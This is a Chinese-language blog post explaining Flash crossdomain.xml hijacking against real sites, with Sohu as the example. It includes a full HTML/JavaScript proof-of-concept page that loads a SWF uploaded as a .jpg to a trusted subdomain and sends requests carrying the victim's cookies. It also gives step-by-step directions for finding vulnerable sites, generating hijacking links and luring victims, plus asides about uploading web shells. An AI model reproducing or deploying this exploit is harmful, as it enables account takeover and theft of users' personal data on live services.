Flash跨域劫持用户操作

漏洞利用一:

目标站点crossdomain文件配置星号,例如

http://news.sohu.com/crossdomain.xml

那么就可以利用flash在任意域向目标发送请求并得到结果,发送请求的时候是带上cookie的,所以就达到了劫持的效果。

PS:这个搜狐的新闻站并没有什么敏感操作,所以跨域请求并没有意义,只能获取一下它的html源码,这里只是举例


01.jpg


这个POC源码在git上,链接:https://github.com/nccgroup/CrossSiteContentHijacking  (下载回来打开html文件即可)


接下来需要做的,就是找到一个有敏感操作又配置了*号的站点,然后使用此poc生成你需要劫持的操作,如修改昵称、关注某人等

使用方法,如果是Get直接填写Target Page,如果是Post,填写好POST Data,然后点击Show url with Parameters即可生成链接,然后使用短链接即可(你需要把此项目放在服务器也就是公网上,或者你可以放在百度云新浪云或者任意一个shell上)



漏洞利用二:

然而各大站点都有这种跨域的安全意识,所以他们会把有敏感操作的站点设置各种信任域,例如:(搜狐的用户中心)

http://i.sohu.com/crossdomain.xml

<allow-access-from domain="*.sohu.com" />

<allow-access-from domain="*.sohu.com.cn" />

<allow-access-from domain="*.itc.cn" />


也就是说,只有这些信任域的flash才能与它进行通讯,但是这样也并不安全,我们只需要让flash在这其中任意一个域下即可,简单说就是找到任意一个没有过滤的上传点(没有过滤?那不是直接传shell..(我这里指的没有过滤仅指没有过滤文件内容,如果你可以控制后缀和路径还能让它解析的话那就拿shell吧) 找了一会,找到上传点(漏洞还未公开这里不方便公布),我们将swf后缀改为jpg,然后上传,得到: http://****.sohu.com/2015******.jpg 接下来你可以又可以使用上面的POC进行劫持操作了,当然也有大牛自己写的版本。 POC:


<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk"/>
<title>csrftest</title>

<script>
function Connection(Sendtype,url,content,callback){
    if (window.XMLHttpRequest){
        var xmlhttp=new XMLHttpRequest();
    }
    else{
        var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if(xmlhttp.readyState==4&&xmlhttp.status==200)
        {
            callback(xmlhttp.responseText);
        }
    }
    xmlhttp.open(Sendtype,url,true);
    xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    xmlhttp.withCredentials = "true";
    xmlhttp.send(content);
}
 
function sendToJavaScript(strData){
    var theDiv = document.getElementById("HijackedData");
    var content = document.createTextNode(strData);
    theDiv.appendChild(content);
    theDiv.innerHTML += '<br/>'
    //var posturl = "";   //如果是post,请去掉这三行的注释
    //var postdata= "";   
    //Connection("POST",posturl,postdata,function(callback){});
   

}

</script>

</head>

<body>

<div id=HijackedData></div>

<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://127.0.0.1/upload/2015.jpg">   //你上传的图片后缀的flash

<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://127.0.0.1">  //你要请求的地址

</object>

</body>

</html>




最后让用户访问你构造的POC页面,即可达到劫持的效果

如图,成功跨域获取带有搜狐cookie用户的用户名以及其他资料,当然你还可以模拟其他任何操作,基本用户能做什么,你就能做什么。

01.jpg


相关资料:

http://www.freebuf.com/articles/web/37432.html

http://www.freebuf.com/articles/web/35353.html

案例:

http://wooyun.org/bugs/wooyun-2010-088845

POC:

https://github.com/gursev/flash-xdomain-xploit

https://github.com/nccgroup/CrossSiteContentHijacking



Just a fun!



发表评论